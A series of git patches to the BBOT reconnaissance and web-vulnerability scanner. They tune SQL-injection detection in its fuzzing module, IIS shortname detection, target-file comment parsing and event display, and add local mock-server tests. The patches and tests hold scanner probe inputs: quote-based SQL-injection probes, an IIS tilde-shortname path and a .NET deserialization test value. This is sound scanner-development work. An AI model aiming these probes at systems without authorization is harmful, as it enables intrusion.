__slots__ = [ "web_spider_distance", - "url_extension", "num_redirects", ] diff --git a/bbot/modules/base.py b/bbot/modules/base.py index a00c1966aa..1a045d2aa1 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -869,13 +869,13 @@ def _event_precheck(self, event): if self.target_only and "target" not in event.tags: return False, "it did not meet target_only filter criteria" - # limit js URLs to modules that opt in to receive them - if (not self.accept_url_special) and event.type.startswith("URL"): + # limit events with special URL extensions (e.g. .js) to modules that opt in + if not self.accept_url_special: extension = getattr(event, "url_extension", "") if extension in self.scan.url_extension_special: return ( False, - f"it is a special URL (extension {extension}) but the module does not opt in to receive special URLs", + f"it has a special URL extension ({extension}) but the module does not opt in to receive special URLs", ) return True, "precheck succeeded" diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a53e58c4be..63a045e074 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -236,6 +236,12 @@ async def filter_event(self, event): self.debug(f"Skipping {event.type} because it is likely to be blocked by a WAF. URL: {url}") return False + # Skip WEB_PARAMETERs on static-asset URLs (pdf, doc, xml, etc.) — fuzzing them is pointless + if event.type == "WEB_PARAMETER": + ext = getattr(event, "url_extension", None) + if ext and ext in self.scan.config.get("url_extension_static", []): + return False, f"skipping WEB_PARAMETER on static-asset URL (.{ext})" + # If we've disabled fuzzing POST parameters, back out of POSTPARAM WEB_PARAMETER events as quickly as possible if event.type == "WEB_PARAMETER" and self.disable_post and event.data["type"] == "POSTPARAM": if not self.try_post_as_get: diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index d5730aee30..5c2103b1a8 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -159,7 +159,7 @@ async def baseline_probe(self, cookies): """ Executes a baseline probe to establish a baseline for comparison. """ - if self.event.data.get("eventtype") in ["POSTPARAM", "BODYJSON"]: + if self.event.data.get("type") in ["POSTPARAM", "BODYJSON"]: method = "POST" else: method = "GET" @@ -209,6 +209,8 @@ async def compare_probe( additional_params_populate_empty, skip_urlencoding, ) + # Stash request params for finding descriptions + self._last_probe_request = dict(request_params) # Perform the comparison using the constructed request parameters url = request_params.pop("url") return await http_compare.compare(url, **request_params) @@ -251,6 +253,16 @@ def metadata(self): metadata_string += ( f" Original Value: [{self.lightfuzz.helpers.truncate_string(self.event.data['original_value'], 200)}]" ) + # Surface additional_params for param types where they're needed to reproduce findings + if self.event.data["type"] in ("POSTPARAM", "BODYJSON", "HEADER", "COOKIE"): + additional_params = self.event.data.get("additional_params", {}) + if additional_params: + # Truncate individual values and the total string to keep descriptions manageable + truncated = { + k: self.lightfuzz.helpers.truncate_string(str(v), 50) for k, v in additional_params.items() + } + params_str = self.lightfuzz.helpers.truncate_string(str(truncated), 500) + metadata_string += f" Additional Params: {params_str}" return metadata_string def incoming_probe_value(self, populate_empty=True): @@ -258,11 +270,11 @@ def incoming_probe_value(self, populate_empty=True): Transparently modifies the incoming probe value (the original value of the WEB_PARAMETER), given any envelopes that may have been identified, so that fuzzing within the envelopes can occur. """ envelopes = getattr(self.event, "envelopes", None) - probe_value = "" + probe_value = None if envelopes is not None: probe_value = envelopes.get_subparam() self.debug(f"incoming_probe_value (after unpacking): {probe_value} with envelopes [{envelopes}]") - if not probe_value: + if probe_value is None or probe_value == "": if populate_empty is True: probe_value = self.lightfuzz.helpers.rand_string(10, numeric_only=True) else: @@ -287,6 +299,27 @@ def outgoing_probe_value(self, outgoing_probe_value): ) return outgoing_probe_value + def describe_probe_request(self, label, request_params): + """Format a probe's request params into a compact string for finding descriptions.""" + if not request_params: + return "" + method = request_params.get("method", "GET") + url = request_params.get("url", "") + data = request_params.get("data") + json_data = request_params.get("json") + if data: + body = "&".join(f"{k}={v}" for k, v in data.items()) + elif json_data: + import json + + body = json.dumps(json_data, separators=(",", ":")) + elif "?" in url: + body = url.split("?", 1)[1] + else: + body = "" + body = self.lightfuzz.helpers.truncate_string(body, 500) + return f" {label}: [{method} {body}]" + def get_submodule_name(self): """Extracts the submodule name from the class name.""" return self.__class__.__name__.replace("Lightfuzz", "").lower() diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 04a0d803d7..c55a345fff 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -69,6 +69,65 @@ def evaluate_delay(self, mean_baseline, measured_delay): else: return False + async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2): + """Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps. + + Each round creates a new HttpCompare (fresh baseline pair) and re-runs both probes. + Returns True only if every round produces the same (baseline, sq, dq) status codes + as the initial detection and the baseline status code is stable across all rounds. + """ + for i in range(rounds): + try: + fresh_compare = self.compare_baseline( + self.event.data["type"], probe_value, cookies, additional_params_populate_empty=True + ) + sq = await self.compare_probe( + fresh_compare, + self.event.data["type"], + f"{probe_value}'", + cookies, + additional_params_populate_empty=True, + ) + dq = await self.compare_probe( + fresh_compare, + self.event.data["type"], + f"{probe_value}''", + cookies, + additional_params_populate_empty=True, + ) + except HttpCompareError as e: + self.debug(f"Confirmation round {i + 1} baseline unstable: {e}") + return False + + if not sq[3] or not dq[3]: + self.debug(f"Confirmation round {i + 1} failed to get responses") + return False + + round_status_codes = ( + fresh_compare.baseline.status_code, + sq[3].status_code, + dq[3].status_code, + ) + + # Baseline must be stable across rounds + if round_status_codes[0] != initial_status_codes[0]: + self.debug( + f"Confirmation round {i + 1} baseline status code changed " + f"({initial_status_codes[0]} -> {round_status_codes[0]}), discarding as flappy" + ) + return False + + if round_status_codes != initial_status_codes: + self.debug( + f"Confirmation round {i + 1} status codes changed: " + f"expected {initial_status_codes}, got {round_status_codes}" + ) + return False + + self.debug(f"Confirmation round {i + 1} passed: {round_status_codes}") + + return True + async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) probe_value = self.incoming_probe_value(populate_empty=True) @@ -85,6 +144,7 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) + sq_request = getattr(self, "_last_probe_request", None) double_single_quote = await self.compare_probe( http_compare, self.event.data["type"], @@ -92,6 +152,7 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) + dq_request = getattr(self, "_last_probe_request", None) # if the single quote probe response is different from the baseline if single_quote[0] is False: # check for common SQL error strings in the response @@ -132,14 +193,36 @@ async def fuzz(self): ) is_waf = True if not is_waf: - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } + # Confirmation loop: require 2 additional rounds with fresh baselines + # to confirm the status-code triplet is stable and not a transient CDN/server flap. + # TODO: apply this same confirmation pattern to other submodules that use compare_probe-based detection. + initial_status_codes = ( + http_compare.baseline.status_code, + single_quote[3].status_code, + double_single_quote[3].status_code, ) + confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes) + if confirmed: + # Build probe body descriptions for triage + baseline_desc = self.describe_probe_request( + "baseline", + { + "method": http_compare.method, + "url": http_compare.baseline_url, + "data": http_compare.data, + "json": http_compare.json, + }, + ) + sq_desc = self.describe_probe_request("sq", sq_request) + dq_desc = self.describe_probe_request("dq", dq_request) + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]{baseline_desc}{sq_desc}{dq_desc}", + } + ) else: self.debug("Failed to get responses for both single_quote and double_single_quote") except HttpCompareError as e: diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index fba50251a2..93b848031e 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -272,7 +272,8 @@ async def finish(self): async def filter_event(self, event): # Filter out static endpoints - if event.url.endswith(tuple(f".{ext}" for ext in self.config.get("url_extension_static", []))): + ext = getattr(event, "url_extension", None) + if ext and ext in self.scan.config.get("url_extension_static", []): return False # We don't need to look at WEB_PARAMETERS that we produced diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index cac3d49fe5..a86022f84d 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -138,6 +138,44 @@ async def test_events(events, helpers): with pytest.raises(ValidationError, match=".*status tag.*"): scan.make_event("https://evilcorp.com", "URL", events.ipv4_url) + # url_extension: URL events + css_url = scan.make_event("https://evilcorp.com/style.css?v=1", dummy=True) + assert getattr(css_url, "url_extension", "") == "css" + assert "extension-css" in css_url.tags + js_url = scan.make_event("https://evilcorp.com/app.js", dummy=True) + assert getattr(js_url, "url_extension", "") == "js" + no_ext_url = scan.make_event("https://evilcorp.com/search", dummy=True) + assert getattr(no_ext_url, "url_extension", "NOT_SET") == "NOT_SET" + + # url_extension: WEB_PARAMETER events (dict events with URLs) + wp_css = scan.make_event( + { + "host": "evilcorp.com", + "type": "GETPARAM", + "name": "v", + "original_value": "1", + "url": "https://evilcorp.com/style.css?v=1", + "description": "test", + }, + "WEB_PARAMETER", + dummy=True, + ) + assert getattr(wp_css, "url_extension", "") == "css" + assert "extension-css" in wp_css.tags + wp_no_ext = scan.make_event( + { + "host": "evilcorp.com", + "type": "GETPARAM", + "name": "q", + "original_value": "test", + "url": "https://evilcorp.com/search?q=test", + "description": "test", + }, + "WEB_PARAMETER", + dummy=True, + ) + assert getattr(wp_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + # http response assert events.http_response.host == "example.com" assert events.http_response.port == 80 diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4de37b9fe6..eb8137e45e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1097,8 +1097,10 @@ def check(self, module_test, events): excavate_extracted_form_parameter_details = True if e.type == "FINDING": if ( - e.data["description"] - == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM]" + in e.data["description"] + and "Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + in e.data["description"] ): lightfuzz_serial_detect_errorresolution = True @@ -1200,8 +1202,10 @@ def check(self, module_test, events): if e.data["description"] == "HTTP response (body) contains a possible serialized object (DOTNET)": excavate_detect_serialization_value = True if ( - e.data["description"] - == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==] Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==]" + in e.data["description"] + and "Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + in e.data["description"] ): lightfuzz_serial_detect_errorresolution = True @@ -3046,3 +3050,173 @@ def check(self, module_test, events): assert not sqli_finding_emitted, ( "SQLi should NOT be reported when single quote probe triggers a WAF 403 response" ) + + +# SQLi flappy baseline: server alternates between status codes across rounds. +# The confirmation loop should detect the instability and suppress the finding. +class Test_Lightfuzz_sqli_flappy_baseline(Test_Lightfuzz_sqli): + """SQLi negative test: server flaps between 200 and 303 across requests. + The confirmation loop should detect unstable baselines and suppress the finding.""" + + request_count = 0 + + def request_handler(self, request): + self.__class__.request_count += 1 + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + # First round: return the classic 200->500->200 pattern to trigger initial detection + # Subsequent rounds: flap baseline to 303 to simulate CDN instability + if self.__class__.request_count > 12: + # After initial probes, start flapping the baseline + return Response("Redirecting", status=303, headers={"Location": "/"}) + + if value.endswith("'"): + if value.endswith("''"): + return Response("

    normal

    ", status=200) + return Response("

    error

    ", status=500) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + sqli_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]: + sqli_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not sqli_finding_emitted, ( + "SQLi code-change finding should NOT be emitted when baseline is flappy across confirmation rounds" + ) + + +# Verify that code-change SQLi findings include probe body descriptions for triage +class Test_Lightfuzz_sqli_probe_descriptions(Test_Lightfuzz_sqli): + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): + desc = e.data["description"] + # Verify probe body descriptions are present + assert "baseline:" in desc, f"Finding description missing baseline probe details: {desc}" + assert "sq:" in desc, f"Finding description missing single-quote probe details: {desc}" + assert "dq:" in desc, f"Finding description missing double-quote probe details: {desc}" + sqli_finding_emitted = True + assert sqli_finding_emitted, "SQLi code-change FINDING not emitted" + + +# Verify that POST SQLi findings include additional_params in the description +class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli"], + } + }, + } + + def request_handler(self, request): + parameter_block = """ + + """ + if "search" in request.form.keys(): + value = request.form["search"] + if value.endswith("'"): + if value.endswith("''"): + return Response("

    normal

    ", status=200) + return Response("

    error

    ", status=500) + return Response("

    results

    ", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): + desc = e.data["description"] + if "POSTPARAM" in desc: + # POST findings should include additional_params info + assert "Additional Params:" in desc, f"POST finding description missing additional_params: {desc}" + sqli_finding_emitted = True + assert sqli_finding_emitted, "SQLi POST code-change FINDING not emitted" + + +# Verify that lightfuzz rejects WEB_PARAMETER events on static-asset URLs (.pdf, .xml, etc.) +class Test_Lightfuzz_static_url_filter(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli"], + } + }, + } + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + respond_args = {"response_data": "placeholder", "status": 200} + expect_args = {"method": "GET", "uri": "/"} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Inject a WEB_PARAMETER event on a .pdf URL + seed_events = [] + parent_event = module_test.scan.make_event( + "http://127.0.0.1:8888/", + "URL", + module_test.scan.root_event, + module="http", + tags=["status-200", "distance-0"], + ) + data = { + "host": "127.0.0.1", + "type": "GETPARAM", + "name": "v", + "original_value": "1", + "url": "http://127.0.0.1:8888/document.pdf?v=1", + "description": "HTTP Extracted Parameter [v]", + } + seed_event = module_test.scan.make_event(data, "WEB_PARAMETER", parent_event, tags=["distance-0"]) + seed_events.append(seed_event) + for event in seed_events: + await module_test.scan.ingress_module.incoming_event_queue.put(event) + + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"]: + sqli_finding_emitted = True + + assert not sqli_finding_emitted, ( + "SQLi finding should NOT be emitted for WEB_PARAMETER on a static-asset URL (.pdf)" + ) From c8d9758b3c774ead3c27ef761877dfba6bdcae73 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 13:16:32 -0400 Subject: [PATCH 502/912] Skip gateway error codes (502/503/504) in IIS shortnames detection CDNs and reverse proxies return 502/503/504 for upstream failures, not as an IIS shortname signal. Treating them as status-code differences caused false positives on CDN-fronted non-IIS hosts. --- bbot/modules/iis_shortnames.py | 10 ++++++++ .../test_module_iis_shortnames.py | 24 +++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5dabd7cb2f..42c5cb8693 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -32,6 +32,9 @@ class iis_shortnames(BaseModule): _module_threads = 8 + # Gateway error codes from reverse proxies / CDNs — not IIS shortname signals + gateway_error_codes = {502, 503, 504} + async def detect(self, target): technique = None detections = [] @@ -47,6 +50,13 @@ async def detect(self, target): control_result = await self.helpers.request(control_url, **kwargs) test_result = await self.helpers.request(test_url, **kwargs) if control_result and test_result: + # Skip gateway errors (502/503/504) — these come from CDNs/reverse proxies, not IIS + if {control_result.status_code, test_result.status_code} & self.gateway_error_codes: + self.debug( + f"Skipping {method} detection on {target}: gateway error code " + f"({control_result.status_code}/{test_result.status_code})" + ) + break if control_result.status_code != test_result.status_code: confirmations += 1 self.debug(f"New detection on {target}, number of confirmations: [{str(confirmations)}]") diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py index fa2c8df5cc..d44854bab8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py @@ -104,3 +104,27 @@ def check(self, module_test, events): assert magicurl_findingEmitted assert url_hintEmitted assert zip_findingEmitted + + +class TestIIS_Shortnames_GatewayError(ModuleTestBase): + """Negative test: server returns 502 gateway errors. Should NOT detect IIS shortnames.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "iis_shortnames"] + + async def setup_after_prep(self, module_test): + module_test.httpserver.no_handler_status_code = 404 + + expect_args = {"method": "GET", "uri": "/"} + respond_args = {"response_data": "alive", "status": 200} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Control URL returns 404, test URL returns 502 (gateway error from CDN) + expect_args = {"method": "GET", "uri": "/*~1*/a.aspx"} + respond_args = {"response_data": "Bad Gateway", "status": 502} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING" and "IIS Shortname" in e.data.get("description", ""): + raise AssertionError("IIS Shortname finding should NOT be emitted when gateway errors are present") From 7b3f96be2522348c82b057587e380fc3bb8021d4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 13 Apr 2026 13:49:53 -0400 Subject: [PATCH 503/912] better comment support --- bbot/core/helpers/misc.py | 2 + bbot/scanner/target.py | 10 +++- bbot/test/test_step_1/test_target.py | 83 ++++++++++++++++++++++++---- 3 files changed, 81 insertions(+), 14 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 262c22bbe3..cd2011abcc 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1189,6 +1189,8 @@ def chain_lists( l = [l] final_list = {} for entry in l: + if _strip_comments: + entry = strip_comments(entry) for s in split_regex.split(entry): f = s.strip() if validate: diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index ff5c0d4548..e753736e4b 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -17,7 +17,7 @@ def _fnv1a_64(data_strings): from bbot.errors import * from bbot.core.event import is_event from bbot.core.event.helpers import EventSeed, BaseEventSeed -from bbot.core.helpers.misc import is_dns_name, is_ip, is_ip_type +from bbot.core.helpers.misc import is_dns_name, is_ip, is_ip_type, strip_comments log = logging.getLogger("bbot.core.target") @@ -61,8 +61,12 @@ class BaseTarget: accept_target_types = ["TARGET"] def __init__(self, *targets, strict_scope=False, acl_mode=False): - # ignore blank targets (sometimes happens as a symptom of .splitlines()) - targets = [stripped for t in targets if (stripped := (t.strip() if isinstance(t, str) else t))] + # strip comments and ignore blank targets + targets = [ + stripped + for t in targets + if (stripped := (strip_comments(t).strip() if isinstance(t, str) else t)) + ] self.strict_scope = strict_scope self._rt = RadixTarget(strict_scope=strict_scope, acl_mode=acl_mode) self.event_seeds = set() diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 02e7429804..20977e8422 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -712,6 +712,78 @@ def test_target_pickle(): assert target.hash == restored.hash +def test_target_comments(): + """Target strings support # comments — both full-line and inline.""" + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget( + target=[ + "# this is a full-line comment", + "evilcorp.com # main evilcorp domain", + " # indented comment ", + "1.2.3.0/24 # internal network", + "othercorp.com", + ], + ) + + # comment-only lines are ignored + assert len(target.target) == 3 + + # inline comments are stripped — targets work normally + assert target.in_target("evilcorp.com") + assert target.in_target("www.evilcorp.com") + assert target.in_target("1.2.3.4") + assert target.in_target("othercorp.com") + + # the comment text itself is not a target + assert not target.in_target("main") + assert not target.in_target("internal") + + +def test_target_comments_url_fragment_not_stripped(): + """A # inside a URL (fragment) must NOT be treated as a comment. + + BBOT's URL normalisation may drop fragments, but the important thing + is that the host is still recognised as a valid target. + """ + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget(target=["http://evilcorp.com/page#section"]) + assert target.in_target("evilcorp.com") + assert len(target.target) == 1 + + +def test_target_comments_blacklist(): + """Comments work for blacklist entries too.""" + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget( + target=["evilcorp.com"], + blacklist=[ + "# don't scan the blog", + "blog.evilcorp.com # unstable host", + ], + ) + assert target.in_scope("www.evilcorp.com") + assert not target.in_scope("blog.evilcorp.com") + assert len(target.blacklist) == 1 + + +def test_target_comments_seeds(): + """Comments work for seed entries too.""" + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget( + target=["evilcorp.com"], + seeds=[ + "# seed comment", + "evilcorp.com # the main domain", + ], + ) + assert "evilcorp.com" in target.seeds + assert len(target.seeds) == 1 + + def test_target_comments_from_file(tmp_path): """Comments in a target file are stripped when loaded via chain_lists.""" from bbot.core.helpers.misc import chain_lists @@ -737,17 +809,6 @@ def test_target_comments_from_file(tmp_path): assert len(result) == 4 -def test_target_comments_blacklist_file(tmp_path): - """Comments in a blacklist file are stripped when loaded via chain_lists.""" - from bbot.core.helpers.misc import chain_lists - - blacklist_file = tmp_path / "blacklist.txt" - blacklist_file.write_text("# don't scan the blog\nblog.evilcorp.com # unstable host\n") - - result = chain_lists([str(blacklist_file)], try_files=True, _strip_comments=True) - assert result == ["blog.evilcorp.com"] - - def test_strip_comments_helper(): """Unit tests for the strip_comments function.""" from bbot.core.helpers.misc import strip_comments From b9f627c04e1db31da8426c2eab0c65a17813049d Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 13 Apr 2026 13:50:28 -0400 Subject: [PATCH 504/912] ruffed --- bbot/scanner/target.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index e753736e4b..d029b6f567 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -62,11 +62,7 @@ class BaseTarget: def __init__(self, *targets, strict_scope=False, acl_mode=False): # strip comments and ignore blank targets - targets = [ - stripped - for t in targets - if (stripped := (strip_comments(t).strip() if isinstance(t, str) else t)) - ] + targets = [stripped for t in targets if (stripped := (strip_comments(t).strip() if isinstance(t, str) else t))] self.strict_scope = strict_scope self._rt = RadixTarget(strict_scope=strict_scope, acl_mode=acl_mode) self.event_seeds = set() From 96f5627c562c7411a1c43e3650979c0fc6fce722 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 14:32:51 -0400 Subject: [PATCH 505/912] Add human-readable stdout display format for all dict-based event types --- bbot/core/event/base.py | 163 ++++++++++++++++++++++++++- bbot/test/test_step_1/test_events.py | 3 +- 2 files changed, 162 insertions(+), 4 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 90e2b96242..7f3f80fd79 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -23,6 +23,7 @@ from bbot.errors import * from .helpers import EventSeed from bbot.core.helpers import ( + bytes_to_human, extract_words, is_domain, is_subdomain, @@ -1182,8 +1183,7 @@ def _pretty_string(self): return str(self.data["asn"]) def _data_human(self): - """Create a concise human-readable representation of ASN data.""" - return json.dumps({"asn": self.data["asn"]}, sort_keys=True) + return f"AS{self.data['asn']}" class CODE_REPOSITORY(DictHostEvent): @@ -1196,6 +1196,9 @@ class _data_validator(BaseModel): def _pretty_string(self): return self.data["url"] + def _data_human(self): + return self.data["url"] + class IP_ADDRESS(BaseEvent): def __init__(self, *args, **kwargs): @@ -1478,6 +1481,9 @@ def sanitize_data(self, data): data["name"] = data["name"].lower() return data + def _data_human(self): + return f"{self.data['name']} ({self.data['url']})" + def _words(self): return self.data["name"] @@ -1546,6 +1552,29 @@ def _outgoing_dedup_hash(self, event): def _url(self): return self.data["url"] + def _data_human(self): + param_type = self.data.get("type", "") + name = self.data.get("name", "") + original_value = self.data.get("original_value", "") + url = self.data.get("url", "") + description = self.data.get("description", "") + additional_params = self.data.get("additional_params", {}) + parts = [] + if param_type: + parts.append(f"[{param_type}]") + if original_value: + parts.append(f"{name}={original_value}") + else: + parts.append(name) + if description: + parts.append(f"- {description}") + if additional_params: + param_names = ", ".join(sorted(additional_params.keys())) + parts.append(f"Additional Params: [{param_names}]") + if url: + parts.append(f"({url})") + return " ".join(parts) + def __str__(self): max_event_len = 200 d = str(self.data) @@ -1610,6 +1639,28 @@ def _words(self): def _pretty_string(self): return f"{self.data['hash']['header_mmh3']}:{self.data['hash']['body_mmh3']}" + def _data_human(self): + parts = [] + status = self.http_status + if status: + parts.append(f"[{status}]") + method = self.data.get("method", "") + if method: + parts.append(method) + parts.append(self.data.get("url", "")) + if status and str(status).startswith("3"): + location = self.redirect_location + if location: + parts.append(f"-> {location}") + else: + title = self.http_title + if title: + parts.append(f"- [{title}]") + content_length = self.data.get("content_length", 0) + if content_length: + parts.append(f"({bytes_to_human(content_length)})") + return " ".join(parts) + def _minimize(self): super()._minimize() if self._module_consumers <= 0: @@ -1735,6 +1786,19 @@ def _pretty_string(self): confidence_str = f"[{confidence}]" return f"Severity: [{severity}] Confidence: {confidence_str} {description}" + def _data_human(self): + parts = [] + parts.append(f"Severity: [{self.data['severity']}]") + parts.append(f"Confidence: [{self.data['confidence']}]") + parts.append(self.data["description"]) + url = self.data.get("url", "") + if url and url not in self.data["description"]: + parts.append(f"({url})") + cves = self.data.get("cves", []) + if cves: + parts.append(f"[{', '.join(cves)}]") + return " ".join(parts) + class TECHNOLOGY(DictHostEvent): class _data_validator(BaseModel): @@ -1757,6 +1821,13 @@ def _data_id(self): def _pretty_string(self): return self.data["technology"] + def _data_human(self): + tech = self.data["technology"] + url = self.data.get("url", "") + if url: + return f"{tech} ({url})" + return tech + class PROTOCOL(DictHostEvent): class _data_validator(BaseModel): @@ -1779,11 +1850,35 @@ def port(self): def _pretty_string(self): return self.data["protocol"] + def _data_human(self): + protocol = self.data["protocol"] + port = self.data.get("port") + banner = self.data.get("banner", "") + if port: + result = f"{protocol}/{port}" + else: + result = protocol + if banner: + result += f" - {banner}" + return result + class GEOLOCATION(BaseEvent): _always_emit = True _quick_emit = True + def _data_human(self): + country = self.data.get("country_name", "") + region = self.data.get("region_name", "") + city = self.data.get("city_name", "") or self.data.get("city", "") + lat = self.data.get("latitude", "") + lon = self.data.get("longitude", "") + location_parts = [p for p in (city, region, country) if p] + result = ", ".join(location_parts) + if lat and lon: + result += f" ({lat}, {lon})" + return result if result else super()._data_human() + class PASSWORD(BaseEvent): _always_emit = True @@ -1805,16 +1900,50 @@ class SOCIAL(DictHostEvent): _quick_emit = True _scope_distance_increment_same_host = True + def _data_human(self): + platform = self.data.get("platform", "") + profile_name = self.data.get("profile_name", "") + url = self.data.get("url", "") + parts = [] + if platform: + parts.append(f"{platform}:") + parts.append(profile_name) + if url: + parts.append(f"({url})") + return " ".join(parts) + class WEBSCREENSHOT(DictPathEvent): _always_emit = True _quick_emit = True + def _data_human(self): + return f"{self.data.get('url', '')} Saved to: {self.data.get('path', '')}" + class AZURE_TENANT(DictEvent): _always_emit = True _quick_emit = True + def _data_human(self): + max_domains = 20 + tenant_names = self.data.get("tenant-names", []) + tenant_id = self.data.get("tenant-id", "") + domains = self.data.get("domains", []) + parts = [] + if tenant_names: + parts.append(", ".join(tenant_names)) + if tenant_id: + parts.append(f"({tenant_id})") + if domains: + if len(domains) <= max_domains: + parts.append(f"- {', '.join(domains)}") + else: + shown = ", ".join(domains[:max_domains]) + hidden = len(domains) - max_domains + parts.append(f"- {shown} (hiding {hidden} additional domains)") + return " 